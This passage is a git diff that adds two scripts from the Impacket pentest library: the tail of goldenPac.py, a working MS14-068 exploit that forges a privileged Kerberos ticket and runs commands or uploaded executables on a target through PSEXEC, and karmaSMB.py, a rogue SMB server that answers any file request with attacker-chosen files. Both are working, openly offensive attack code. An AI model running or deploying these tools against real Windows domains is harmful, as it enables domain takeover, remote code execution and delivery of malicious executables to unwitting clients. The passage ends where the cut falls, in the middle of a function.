+                        if self.__lmhash == '' and self.__nthash == '':
+                            from impacket.ntlm import compute_lmhash, compute_nthash
+                            self.__lmhash = compute_lmhash(self.__password)
+                            self.__nthash = compute_nthash(self.__password)
+                            continue
+                        else:
+                            exception = str(e)
+                            break
+                    else:
+                        exception = str(e)
+                        break
+
+                # So, we have the TGT, now extract the new session key and finish
+                asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0]
+
+                # If the cypher in use != RC4 there's gotta be a salt for us to use
+                salt = ''
+                if asRep['padata']:
+                    for pa in asRep['padata']:
+                        if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value:
+                            etype2 = decoder.decode(pa['padata-value'][2:], asn1Spec = ETYPE_INFO2_ENTRY())[0]
+                            salt = etype2['salt'].prettyPrint()
+
+                cipherText = asRep['enc-part']['cipher']
+
+                # Key Usage 3
+                # AS-REP encrypted part (includes TGS session key or
+                # application session key), encrypted with the client key
+                # (Section 5.4.2)
+                if self.__nthash != '':
+                    key = Key(cipher.enctype,self.__nthash)
+                else:
+                    key = cipher.string_to_key(self.__password, salt, None)
+
+                plainText = cipher.decrypt(key, 3, cipherText)
+                encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0]
+                authTime = encASRepPart['authtime']
+
+                serverName = Principal('krbtgt/%s' % self.__domain.upper(),
+                                       type=constants.PrincipalNameType.NT_PRINCIPAL.value)
+                tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS(serverName, domain, self.__kdcHost, tgt,
+                                                                             cipher, sessionKey, authTime)
+
+                # We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs
+                serverName = Principal('cifs/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value)
+                try:
+                    tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(serverName, domain,
+                                                                                        self.__kdcHost, tgs, cipher,
+                                                                                        sessionKey)
+                except KerberosError as e:
+                    if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
+                        # We might face this if the target does not support AES (most probably
+                        # Windows XP). So, if that's the case we'll force using RC4 by converting
+                        # the password to lm/nt hashes and hope for the best. If that's already
+                        # done, byebye.
+                        if self.__lmhash == '' and self.__nthash == '':
+                            from impacket.ntlm import compute_lmhash, compute_nthash
+                            self.__lmhash = compute_lmhash(self.__password)
+                            self.__nthash = compute_nthash(self.__password)
+                        else:
+                            exception = str(e)
+                            break
+                    else:
+                        exception = str(e)
+                        break
+                else:
+                    # Everything went well, let's save the ticket if asked and leave
+                    if self.__writeTGT is not None:
+                        from impacket.krb5.ccache import CCache
+                        ccache = CCache()
+                        ccache.fromTGS(tgs, oldSessionKey, sessionKey)
+                        ccache.saveFile(self.__writeTGT)
+                    break
+            if exception is None:
+                # Success!
+                logging.info('%s found vulnerable!' % dc)
+                break
+            else:
+                logging.info('%s seems not vulnerable (%s)' % (dc, exception))
+
+        if exception is None:
+            TGS = {}
+            TGS['KDC_REP'] = tgsCIFS
+            TGS['cipher'] = cipher
+            TGS['oldSessionKey'] = oldSessionKeyCIFS
+            TGS['sessionKey'] = sessionKeyCIFS
+
+            from impacket.smbconnection import SMBConnection
+            if self.__targetIp is None:
+                s = SMBConnection('*SMBSERVER', self.__target)
+            else:
+                s = SMBConnection('*SMBSERVER', self.__targetIp)
+            s.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, TGS=TGS,
+                            useCache=False)
+
+            if self.__command != 'None':
+                executer = PSEXEC(self.__command, username, domain, s, TGS, self.__copyFile)
+                executer.run(self.__target)
+
+if __name__ == '__main__':
+    import argparse
+    import sys
+    try:
+        import pyasn1
+        from pyasn1.type.univ import noValue
+    except ImportError:
+         logging.critical('This module needs pyasn1 installed')
+         logging.critical('You can get it from https://pypi.python.org/pypi/pyasn1')
+         sys.exit(1)
+    import datetime
+    from calendar import timegm
+    from time import strptime
+    from impacket import version
+    from impacket.dcerpc.v5 import samr
+    from impacket.dcerpc.v5 import transport
+    from impacket.krb5.types import Principal, Ticket, KerberosTime
+    from impacket.krb5 import constants
+    from impacket.krb5.kerberosv5 import sendReceive, getKerberosTGT, getKerberosTGS, KerberosError
+    from impacket.krb5.asn1 import AS_REP, TGS_REQ, AP_REQ, TGS_REP, Authenticator, EncASRepPart, AuthorizationData, \
+        AD_IF_RELEVANT, seq_set, seq_set_iter, KERB_PA_PAC_REQUEST, \
+        EncTGSRepPart, ETYPE_INFO2_ENTRY
+    from impacket.krb5.crypto import Key
+    from impacket.dcerpc.v5.ndr import NDRULONG
+    from impacket.dcerpc.v5.samr import NULL, GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, \
+        SE_GROUP_ENABLED, USER_NORMAL_ACCOUNT, USER_DONT_EXPIRE_PASSWORD
+    from pyasn1.codec.der import decoder, encoder
+    from Cryptodome.Hash import MD5
+
+    print(version.BANNER)
+
+    parser = argparse.ArgumentParser(add_help=True,
+                                     description="MS14-068 Exploit. It establishes a SMBConnection and PSEXEcs the "
+                                                 "target or saves the TGT for later use.")
+
+    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName>')
+    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
+    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
+    parser.add_argument('command', nargs='*', default=' ',
+                        help='command (or arguments if -c is used) to execute at the target (w/o path). Defaults to '
+                             'cmd.exe. \'None\' will not execute PSEXEC (handy if you just want to save the ticket)')
+    parser.add_argument('-c', action='store', metavar="pathname",
+                        help='uploads the filename for later execution, arguments are passed in the command option')
+    parser.add_argument('-w', action='store', metavar="pathname",
+                        help='writes the golden ticket in CCache format into the <pathname> file')
+    parser.add_argument('-dc-ip', action='store', metavar="ip address",
+                        help='IP Address of the domain controller (needed to get the user''s SID). If omitted it will use '
+                             'the domain part (FQDN) specified in the target parameter')
+    parser.add_argument('-target-ip', action='store', metavar="ip address",
+                        help='IP Address of the target host you want to attack. If omitted it will use the targetName '
+                             'parameter')
+
+    group = parser.add_argument_group('authentication')
+
+    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
+    if len(sys.argv)==1:
+        parser.print_help()
+        print("\nExamples: ")
+        print("\tpython goldenPac domain.net/normaluser@domain-host\n")
+        print("\tthe password will be asked, or\n")
+        print("\tpython goldenPac.py domain.net/normaluser:mypwd@domain-host\n")
+        print("\tif domain.net and/or domain-machine do not resolve, add them")
+        print("\tto the hosts file or explicitly specify the domain IP (e.g. 1.1.1.1) and target IP:\n")
+        print("\tpython goldenPac.py -dc-ip 1.1.1.1 -target-ip 2.2.2.2 domain.net/normaluser:mypwd@domain-host\n")
+        print("\tThis will upload the xxx.exe file and execute it as: xxx.exe param1 param2 paramn")
+        print("\tpython goldenPac.py -c xxx.exe domain.net/normaluser:mypwd@domain-host param1 param2 paramn\n")
+        sys.exit(1)
+ 
+    options = parser.parse_args()
+
+    # Init the example's logger theme
+    logger.init(options.ts)
+
+    domain, username, password, address = parse_target(options.target)
+
+    if domain == '':
+        logging.critical('Domain should be specified!')
+        sys.exit(1)
+
+    if options.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+        # Print the Library's installation path
+        logging.debug(version.getInstallationPath())
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+
+    if password == '' and username != '' and options.hashes is None:
+        from getpass import getpass
+        password = getpass("Password:")
+
+    commands = ' '.join(options.command)
+    if commands == ' ':
+        commands = 'cmd.exe'
+
+    dumper = MS14_068(address, options.target_ip, username, password, domain, options.hashes, commands, options.c,
+                      options.w, options.dc_ip)
+
+    try:
+        dumper.exploit()
+    except Exception as e:
+        if logging.getLogger().level == logging.DEBUG:
+            import traceback
+            traceback.print_exc()
+        logging.critical(str(e))
diff --git a/examples/karmaSMB.py b/examples/karmaSMB.py
new file mode 100644
index 0000000..b9949c3
--- /dev/null
+++ b/examples/karmaSMB.py
@@ -0,0 +1,634 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Karma SMB
+#
+#   The idea of this script is to answer any file read request
+#   with a set of predefined contents based on the extension
+#   asked, regardless of the sharename and/or path.
+#   When executing this script w/o a config file the pathname
+#   file contents will be sent for every request.
+#   If a config file is specified, format should be this way:
+#      <extension> = <pathname>
+#   for example:
+#      bat = /tmp/batchfile
+#      com = /tmp/comfile
+#      exe = /tmp/exefile
+#
+#   The SMB2 support works with a caveat. If two different
+#   filenames at the same share are requested, the first
+#   one will work and the second one will not work if the request
+#   is performed right away. This seems related to the
+#   QUERY_DIRECTORY request, where we return the files available.
+#   In the first try, we return the file that was asked to open.
+#   In the second try, the client will NOT ask for another
+#   QUERY_DIRECTORY but will use the cached one. This time the new file
+#   is not there, so the client assumes it doesn't exist.
+#   After a few seconds, looks like the client cache is cleared and
+#   the operation works again. Further research is needed trying
+#   to avoid this from happening.
+#
+#   SMB1 seems to be working fine on that scenario.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#   Original idea by @mubix
+#
+# ToDo:
+#   [ ] A lot of testing needed under different OSes.
+#       I'm still not sure how reliable this approach is.
+#   [ ] Add support for other SMB read commands. Right now just
+#       covering SMB_COM_NT_CREATE_ANDX
+#   [ ] Disable write request, now if the client tries to copy
+#       a file back to us, it will overwrite the files we're
+#       hosting. *CAREFUL!!!*
+#
+
+from __future__ import division
+from __future__ import print_function
+import sys
+import os
+import argparse
+import logging
+import ntpath
+try:
+    import ConfigParser
+except ImportError:
+    import configparser as ConfigParser
+from threading import Thread
+
+from impacket.examples import logger
+from impacket import smbserver, smb, version
+import impacket.smb3structs as smb2
+from impacket.smb import FILE_OVERWRITE, FILE_OVERWRITE_IF, FILE_WRITE_DATA, FILE_APPEND_DATA, GENERIC_WRITE
+from impacket.nt_errors import STATUS_USER_SESSION_DELETED, STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_NO_MORE_FILES, \
+    STATUS_OBJECT_PATH_NOT_FOUND
+from impacket.smbserver import SRVSServer, decodeSMBString, findFirst2, STATUS_SMB_BAD_TID, encodeSMBString, \
+    getFileTime, queryPathInformation
+
+
+class KarmaSMBServer(Thread):
+    def __init__(self, smb2Support = False):
+        Thread.__init__(self)
+        self.server = 0
+        self.defaultFile = None
+        self.extensions = {}
+
+        # Here we write a mini config for the server
+        smbConfig = ConfigParser.ConfigParser()
+        smbConfig.add_section('global')
+        smbConfig.set('global','server_name','server_name')
+        smbConfig.set('global','server_os','UNIX')
+        smbConfig.set('global','server_domain','WORKGROUP')
+        smbConfig.set('global','log_file','smb.log')
+        smbConfig.set('global','credentials_file','')
+
+        # IPC always needed
+        smbConfig.add_section('IPC$')
+        smbConfig.set('IPC$','comment','Logon server share')
+        smbConfig.set('IPC$','read only','yes')
+        smbConfig.set('IPC$','share type','3')
+        smbConfig.set('IPC$','path','')
+
+        # NETLOGON always needed
+        smbConfig.add_section('NETLOGON')
+        smbConfig.set('NETLOGON','comment','Logon server share')
+        smbConfig.set('NETLOGON','read only','no')
+        smbConfig.set('NETLOGON','share type','0')
+        smbConfig.set('NETLOGON','path','')
+
+        # SYSVOL always needed
+        smbConfig.add_section('SYSVOL')
+        smbConfig.set('SYSVOL','comment','')
+        smbConfig.set('SYSVOL','read only','no')
+        smbConfig.set('SYSVOL','share type','0')
+        smbConfig.set('SYSVOL','path','')
+
+        if smb2Support:
+            smbConfig.set("global", "SMB2Support", "True")
+
+        self.server = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)
+        self.server.processConfigFile()
+
+        # Unregistering some dangerous and unwanted commands
+        self.server.unregisterSmbCommand(smb.SMB.SMB_COM_CREATE_DIRECTORY)
+        self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE_DIRECTORY)
+        self.server.unregisterSmbCommand(smb.SMB.SMB_COM_RENAME)
+        self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE)
+        self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE)
+        self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE_ANDX)
+
+        self.server.unregisterSmb2Command(smb2.SMB2_WRITE)
+
+        self.origsmbComNtCreateAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX, self.smbComNtCreateAndX)
+        self.origsmbComTreeConnectAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX, self.smbComTreeConnectAndX)
+        self.origQueryPathInformation = self.server.hookTransaction2(smb.SMB.TRANS2_QUERY_PATH_INFORMATION, self.queryPathInformation)
+        self.origFindFirst2 = self.server.hookTransaction2(smb.SMB.TRANS2_FIND_FIRST2, self.findFirst2)
+
+        # And the same for SMB2
+        self.origsmb2TreeConnect = self.server.hookSmb2Command(smb2.SMB2_TREE_CONNECT, self.smb2TreeConnect)
+        self.origsmb2Create = self.server.hookSmb2Command(smb2.SMB2_CREATE, self.smb2Create)
+        self.origsmb2QueryDirectory = self.server.hookSmb2Command(smb2.SMB2_QUERY_DIRECTORY, self.smb2QueryDirectory)
+        self.origsmb2Read = self.server.hookSmb2Command(smb2.SMB2_READ, self.smb2Read)
+        self.origsmb2Close = self.server.hookSmb2Command(smb2.SMB2_CLOSE, self.smb2Close)
+
+        # Now we have to register the MS-SRVS server. This specially important for 
+        # Windows 7+ and Mavericks clients since they WON'T (specially OSX) 
+        # ask for shares using MS-RAP.
+
+        self.__srvsServer = SRVSServer()
+        self.__srvsServer.daemon = True
+        self.server.registerNamedPipe('srvsvc',('127.0.0.1',self.__srvsServer.getListenPort()))
+
+    def findFirst2(self, connId, smbServer, recvPacket, parameters, data, maxDataCount):
+        connData = smbServer.getConnectionData(connId)
+
+        respSetup = b''
+        respParameters = b''
+        respData = b''
+        findFirst2Parameters = smb.SMBFindFirst2_Parameters( recvPacket['Flags2'], data = parameters)
+
+        # 1. Let's grab the extension and map the file's contents we will deliver
+        origPathName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],findFirst2Parameters['FileName']).replace('\\','/'))
+        origFileName = os.path.basename(origPathName)
+
+        _, origPathNameExtension = os.path.splitext(origPathName)
+        origPathNameExtension = origPathNameExtension.upper()[1:]
+
+        if origPathNameExtension.upper() in self.extensions:
+            targetFile = self.extensions[origPathNameExtension.upper()]
+        else:
+            targetFile = self.defaultFile
+
+        if recvPacket['Tid'] in connData['ConnectedShares']:
+            path = connData['ConnectedShares'][recvPacket['Tid']]['path']
+
+            # 2. We call the normal findFirst2 call, but with our targetFile
+            searchResult, searchCount, errorCode = findFirst2(path, 
+                          targetFile, 
+                          findFirst2Parameters['InformationLevel'], 
+                          findFirst2Parameters['SearchAttributes'], pktFlags = recvPacket['Flags2'] )
+
+            respParameters = smb.SMBFindFirst2Response_Parameters()
+            endOfSearch = 1
+            sid = 0x80 # default SID
+            searchCount = 0
+            totalData = 0
+            for i in enumerate(searchResult):
+                #i[1].dump()
+                try:
+                    # 3. And we restore the original filename requested ;)
+                    i[1]['FileName'] = encodeSMBString( flags = recvPacket['Flags2'], text = origFileName)
+                except:
+                    pass
+
+                data = i[1].getData()
+                lenData = len(data)
+                if (totalData+lenData) >= maxDataCount or (i[0]+1) > findFirst2Parameters['SearchCount']:
+                    # We gotta stop here and continue on a find_next2
+                    endOfSearch = 0
+                    # Simple way to generate a fid
+                    if len(connData['SIDs']) == 0:
+                       sid = 1
+                    else:
+                       sid = list(connData['SIDs'].keys())[-1] + 1
+                    # Store the remaining search results in the ConnData SID
+                    connData['SIDs'][sid] = searchResult[i[0]:]
+                    respParameters['LastNameOffset'] = totalData
+                    break
+                else:
+                    searchCount +=1
+                    respData += data
+                    totalData += lenData
+                    
+
+            respParameters['SID'] = sid
+            respParameters['EndOfSearch'] = endOfSearch
+            respParameters['SearchCount'] = searchCount
+        else:
+            errorCode = STATUS_SMB_BAD_TID   
+
+        smbServer.setConnectionData(connId, connData)
+
+        return respSetup, respParameters, respData, errorCode
+
+    def smbComNtCreateAndX(self, connId, smbServer, SMBCommand, recvPacket):
+        connData = smbServer.getConnectionData(connId)
+
+        ntCreateAndXParameters = smb.SMBNtCreateAndX_Parameters(SMBCommand['Parameters'])
+        ntCreateAndXData       = smb.SMBNtCreateAndX_Data( flags = recvPacket['Flags2'], data = SMBCommand['Data'])
+
+        respSMBCommand        = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX)
+
+        #ntCreateAndXParameters.dump()
+
+        # Let's try to avoid allowing write requests from the client back to us
+        # not 100% bulletproof, plus also the client might be using other SMB
+        # calls (e.g. SMB_COM_WRITE)
+        createOptions =  ntCreateAndXParameters['CreateOptions']
+        if createOptions & smb.FILE_DELETE_ON_CLOSE == smb.FILE_DELETE_ON_CLOSE:
+            errorCode = STATUS_ACCESS_DENIED
+        elif ntCreateAndXParameters['Disposition'] & smb.FILE_OVERWRITE == FILE_OVERWRITE:
+            errorCode = STATUS_ACCESS_DENIED
+        elif ntCreateAndXParameters['Disposition'] & smb.FILE_OVERWRITE_IF == FILE_OVERWRITE_IF:
+            errorCode = STATUS_ACCESS_DENIED
+        elif ntCreateAndXParameters['AccessMask'] & smb.FILE_WRITE_DATA == FILE_WRITE_DATA:
+            errorCode = STATUS_ACCESS_DENIED
+        elif ntCreateAndXParameters['AccessMask'] & smb.FILE_APPEND_DATA == FILE_APPEND_DATA:
+            errorCode = STATUS_ACCESS_DENIED
+        elif ntCreateAndXParameters['AccessMask'] & smb.GENERIC_WRITE == GENERIC_WRITE:
+            errorCode = STATUS_ACCESS_DENIED
+        elif ntCreateAndXParameters['AccessMask'] & 0x10000 == 0x10000:
+            errorCode = STATUS_ACCESS_DENIED
+        else:
+            errorCode = STATUS_SUCCESS
+
+        if errorCode == STATUS_ACCESS_DENIED:
+            return [respSMBCommand], None, errorCode
+
+        # 1. Let's grab the extension and map the file's contents we will deliver
+        origPathName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],ntCreateAndXData['FileName']).replace('\\','/'))
+
+        _, origPathNameExtension = os.path.splitext(origPathName)
+        origPathNameExtension = origPathNameExtension.upper()[1:]
+
+        if origPathNameExtension.upper() in self.extensions:
+            targetFile = self.extensions[origPathNameExtension.upper()]
+        else:
+            targetFile = self.defaultFile
+        
+        # 2. We change the filename in the request for our targetFile
+        ntCreateAndXData['FileName'] = encodeSMBString( flags = recvPacket['Flags2'], text = targetFile)
+        SMBCommand['Data'] = ntCreateAndXData.getData()
+        smbServer.log("%s is asking for %s. Delivering %s" % (connData['ClientIP'], origPathName,targetFile),logging.INFO)
+
+        # 3. We call the original call with our modified data
+        return self.origsmbComNtCreateAndX(connId, smbServer, SMBCommand, recvPacket)
+
+    def queryPathInformation(self, connId, smbServer, recvPacket, parameters, data, maxDataCount = 0):
+        # The trick we play here is that Windows clients first ask for the file
+        # and then it asks for the directory containing the file.
+        # It is important to answer the right questions for the attack to work
+        
+        connData = smbServer.getConnectionData(connId)
+
+        respSetup = b''
+        respParameters = b''
+        respData = b''
+        errorCode = 0
+
+        queryPathInfoParameters = smb.SMBQueryPathInformation_Parameters(flags = recvPacket['Flags2'], data = parameters)
+
+        if recvPacket['Tid'] in connData['ConnectedShares']:
+            path = ''
+            try:
+               origPathName = decodeSMBString(recvPacket['Flags2'], queryPathInfoParameters['FileName'])
+               origPathName = os.path.normpath(origPathName.replace('\\','/'))
+
+               if ('MS15011' in connData) is False:
+                   connData['MS15011'] = {}
+
+               smbServer.log("Client is asking for QueryPathInformation for: %s" % origPathName,logging.INFO)
+               if origPathName in connData['MS15011'] or origPathName == '.':
+                   # We already processed this entry, now it's asking for a directory
+                   infoRecord, errorCode = queryPathInformation(path, '/', queryPathInfoParameters['InformationLevel'])
+               else:
+                   # First time asked, asking for the file
+                   infoRecord, errorCode = queryPathInformation(path, self.defaultFile, queryPathInfoParameters['InformationLevel'])
+                   connData['MS15011'][os.path.dirname(origPathName)] = infoRecord
+            except Exception as e:
+               #import traceback
+               #traceback.print_exc()
+               smbServer.log("queryPathInformation: %s" % e,logging.ERROR)
+
+            if infoRecord is not None:
+                respParameters = smb.SMBQueryPathInformationResponse_Parameters()
+                respData = infoRecord
+        else:
+            errorCode = STATUS_SMB_BAD_TID
+           
+        smbServer.setConnectionData(connId, connData)
+
+        return respSetup, respParameters, respData, errorCode
+
+    def smb2Read(self, connId, smbServer, recvPacket):
+        connData = smbServer.getConnectionData(connId)
+        connData['MS15011']['StopConnection'] = True
+        smbServer.setConnectionData(connId, connData)
+        return self.origsmb2Read(connId, smbServer, recvPacket)
+ 
+    def smb2Close(self, connId, smbServer, recvPacket):
+        connData = smbServer.getConnectionData(connId)
+        # We're closing the connection trying to flush the client's
+        # cache.
+        if connData['MS15011']['StopConnection'] is True:
+            return [smb2.SMB2Error()], None, STATUS_USER_SESSION_DELETED
+        return self.origsmb2Close(connId, smbServer, recvPacket)
+
+    def smb2Create(self, connId, smbServer, recvPacket):
+        connData = smbServer.getConnectionData(connId)
+
+        ntCreateRequest       = smb2.SMB2Create(recvPacket['Data'])
+
+        # Let's try to avoid allowing write requests from the client back to us
+        # not 100% bulletproof, plus also the client might be using other SMB
+        # calls 
+        createOptions =  ntCreateRequest['CreateOptions']
+        if createOptions & smb2.FILE_DELETE_ON_CLOSE == smb2.FILE_DELETE_ON_CLOSE:
+            errorCode = STATUS_ACCESS_DENIED
+        elif ntCreateRequest['CreateDisposition'] & smb2.FILE_OVERWRITE == smb2.FILE_OVERWRITE:
+            errorCode = STATUS_ACCESS_DENIED
+        elif ntCreateRequest['CreateDisposition'] & smb2.FILE_OVERWRITE_IF == smb2.FILE_OVERWRITE_IF:
+            errorCode = STATUS_ACCESS_DENIED
+        elif ntCreateRequest['DesiredAccess'] & smb2.FILE_WRITE_DATA == smb2.FILE_WRITE_DATA:
+            errorCode = STATUS_ACCESS_DENIED
+        elif ntCreateRequest['DesiredAccess'] & smb2.FILE_APPEND_DATA == smb2.FILE_APPEND_DATA:
+            errorCode = STATUS_ACCESS_DENIED
+        elif ntCreateRequest['DesiredAccess'] & smb2.GENERIC_WRITE == smb2.GENERIC_WRITE:
+            errorCode = STATUS_ACCESS_DENIED
+        elif ntCreateRequest['DesiredAccess'] & 0x10000 == 0x10000:
+            errorCode = STATUS_ACCESS_DENIED
+        else:
+            errorCode = STATUS_SUCCESS
+
+        if errorCode == STATUS_ACCESS_DENIED:
+            return [smb2.SMB2Error()], None, errorCode
+
+        # 1. Let's grab the extension and map the file's contents we will deliver
+        origPathName = os.path.normpath(ntCreateRequest['Buffer'][:ntCreateRequest['NameLength']].decode('utf-16le').replace('\\','/'))
+
+        _, origPathNameExtension = os.path.splitext(origPathName)
+        origPathNameExtension = origPathNameExtension.upper()[1:]
+
+        # Are we being asked for a directory?
+        if (createOptions & smb2.FILE_DIRECTORY_FILE) == 0:
+            if origPathNameExtension.upper() in self.extensions:
+                targetFile = self.extensions[origPathNameExtension.upper()]
+            else:
+                targetFile = self.defaultFile
+            connData['MS15011']['FileData'] = (os.path.basename(origPathName), targetFile)
+            smbServer.log("%s is asking for %s. Delivering %s" % (connData['ClientIP'], origPathName,targetFile),logging.INFO)
+        else:
+            targetFile = '/'
+        
+        # 2. We change the filename in the request for our targetFile
+        try:
+            ntCreateRequest['Buffer'] = targetFile.encode('utf-16le')
+        except UnicodeDecodeError:
+            import sys
+            ntCreateRequest['Buffer'] = targetFile.decode(sys.getfilesystemencoding()).encode('utf-16le')
+        ntCreateRequest['NameLength'] = len(targetFile)*2
+        recvPacket['Data'] = ntCreateRequest.getData()
+
+        # 3. We call the original call with our modified data
+        return self.origsmb2Create(connId, smbServer, recvPacket)
+
+    def smb2QueryDirectory(self, connId, smbServer, recvPacket):
+        # Windows clients with SMB2 will also perform a QueryDirectory
+        # expecting to get the filename asked. So we deliver it :)
+        connData = smbServer.getConnectionData(connId)
+
+        respSMBCommand = smb2.SMB2QueryDirectory_Response()
+        #queryDirectoryRequest   = smb2.SMB2QueryDirectory(recvPacket['Data'])
+
+        errorCode = 0xff
+        respSMBCommand['Buffer'] = b'\x00'
+
+        errorCode = STATUS_SUCCESS
+
+        #if (queryDirectoryRequest['Flags'] & smb2.SL_RETURN_SINGLE_ENTRY) == 0:
+        #    return [smb2.SMB2Error()], None, STATUS_NOT_SUPPORTED
+
+        if connData['MS15011']['FindDone'] is True:
+            
+            connData['MS15011']['FindDone'] = False
+            smbServer.setConnectionData(connId, connData)
+            return [smb2.SMB2Error()], None, STATUS_NO_MORE_FILES 
+        else:
+            origName, targetFile =  connData['MS15011']['FileData']
+            (mode, ino, dev, nlink, uid, gid, size, atime, mtime, ctime) = os.stat(targetFile)
+
+            infoRecord = smb.SMBFindFileIdBothDirectoryInfo( smb.SMB.FLAGS2_UNICODE )
+            infoRecord['ExtFileAttributes'] = smb.ATTR_NORMAL | smb.ATTR_ARCHIVE
+
+            infoRecord['EaSize']            = 0
+            infoRecord['EndOfFile']         = size
+            infoRecord['AllocationSize']    = size
+            infoRecord['CreationTime']      = getFileTime(ctime)
+            infoRecord['LastAccessTime']    = getFileTime(atime)
+            infoRecord['LastWriteTime']     = getFileTime(mtime)
+            infoRecord['LastChangeTime']    = getFileTime(mtime)
+            infoRecord['ShortName']         = b'\x00'*24
+            #infoRecord['FileName']          = os.path.basename(origName).encode('utf-16le')
+            infoRecord['FileName']          = origName.encode('utf-16le')
+            padLen = (8-(len(infoRecord) % 8)) % 8
+            infoRecord['NextEntryOffset']   = 0
+
+            respSMBCommand['OutputBufferOffset'] = 0x48
+            respSMBCommand['OutputBufferLength'] = len(infoRecord.getData())
+            respSMBCommand['Buffer'] = infoRecord.getData() + b'\xaa'*padLen
+            connData['MS15011']['FindDone'] = True
+
+        smbServer.setConnectionData(connId, connData)
+        return [respSMBCommand], None, errorCode
+
+    def smb2TreeConnect(self, connId, smbServer, recvPacket):
+        connData = smbServer.getConnectionData(connId)
+
+        respPacket = smb2.SMB2Packet()
+        respPacket['Flags']     = smb2.SMB2_FLAGS_SERVER_TO_REDIR
+        respPacket['Status']    = STATUS_SUCCESS
+        respPacket['CreditRequestResponse'] = 1
+        respPacket['Command']   = recvPacket['Command']
+        respPacket['SessionID'] = connData['Uid']
+        respPacket['Reserved']  = recvPacket['Reserved']
+        respPacket['MessageID'] = recvPacket['MessageID']
+        respPacket['TreeID']    = recvPacket['TreeID']
+
+        respSMBCommand        = smb2.SMB2TreeConnect_Response()
+
+        treeConnectRequest = smb2.SMB2TreeConnect(recvPacket['Data'])
+
+        errorCode = STATUS_SUCCESS
+
+        ## Process here the request, does the share exist?
+        path = recvPacket.getData()[treeConnectRequest['PathOffset']:][:treeConnectRequest['PathLength']]
+        UNCOrShare = path.decode('utf-16le')
+
+        # Is this a UNC?
+        if ntpath.ismount(UNCOrShare):
+            path = UNCOrShare.split('\\')[3]
+        else:
+            path = ntpath.basename(UNCOrShare)
+
+        # We won't search for the share.. all of them exist :P
+        #share = searchShare(connId, path.upper(), smbServer) 
+        connData['MS15011'] = {}
+        connData['MS15011']['FindDone'] = False
+        connData['MS15011']['StopConnection'] = False
+        share = {}
+        if share is not None:
+            # Simple way to generate a Tid
+            if len(connData['ConnectedShares']) == 0:
+               tid = 1
+            else:
+               tid = list(connData['ConnectedShares'].keys())[-1] + 1
+            connData['ConnectedShares'][tid] = share
+            connData['ConnectedShares'][tid]['path'] = '/'
+            connData['ConnectedShares'][tid]['shareName'] = path
+            respPacket['TreeID']    = tid
+            #smbServer.log("Connecting Share(%d:%s)" % (tid,path))
+        else:
+            smbServer.log("SMB2_TREE_CONNECT not found %s" % path, logging.ERROR)
+            errorCode = STATUS_OBJECT_PATH_NOT_FOUND
+            respPacket['Status'] = errorCode
+        ##
+
+        if path == 'IPC$':
+            respSMBCommand['ShareType'] = smb2.SMB2_SHARE_TYPE_PIPE
+            respSMBCommand['ShareFlags'] = 0x30
+        else:
+            respSMBCommand['ShareType'] = smb2.SMB2_SHARE_TYPE_DISK
+            respSMBCommand['ShareFlags'] = 0x0
+
+        respSMBCommand['Capabilities'] = 0
+        respSMBCommand['MaximalAccess'] = 0x011f01ff
+
+        respPacket['Data'] = respSMBCommand
+
+        smbServer.setConnectionData(connId, connData)
+
+        return None, [respPacket], errorCode
+
+    def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket):
+        connData = smbServer.getConnectionData(connId)
+
+        resp = smb.NewSMBPacket()
+        resp['Flags1'] = smb.SMB.FLAGS1_REPLY
+        resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | \
+                         recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE
+
+        resp['Tid'] = recvPacket['Tid']
+        resp['Mid'] = recvPacket['Mid']
+        resp['Pid'] = connData['Pid']
+
+        respSMBCommand        = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX)
+        respParameters        = smb.SMBTreeConnectAndXResponse_Parameters()
+        respData              = smb.SMBTreeConnectAndXResponse_Data()
+
+        treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(SMBCommand['Parameters'])
+
+        if treeConnectAndXParameters['Flags'] & 0x8:
+            respParameters        = smb.SMBTreeConnectAndXExtendedResponse_Parameters()
+
+        treeConnectAndXData                    = smb.SMBTreeConnectAndX_Data( flags = recvPacket['Flags2'] )
+        treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters['PasswordLength']
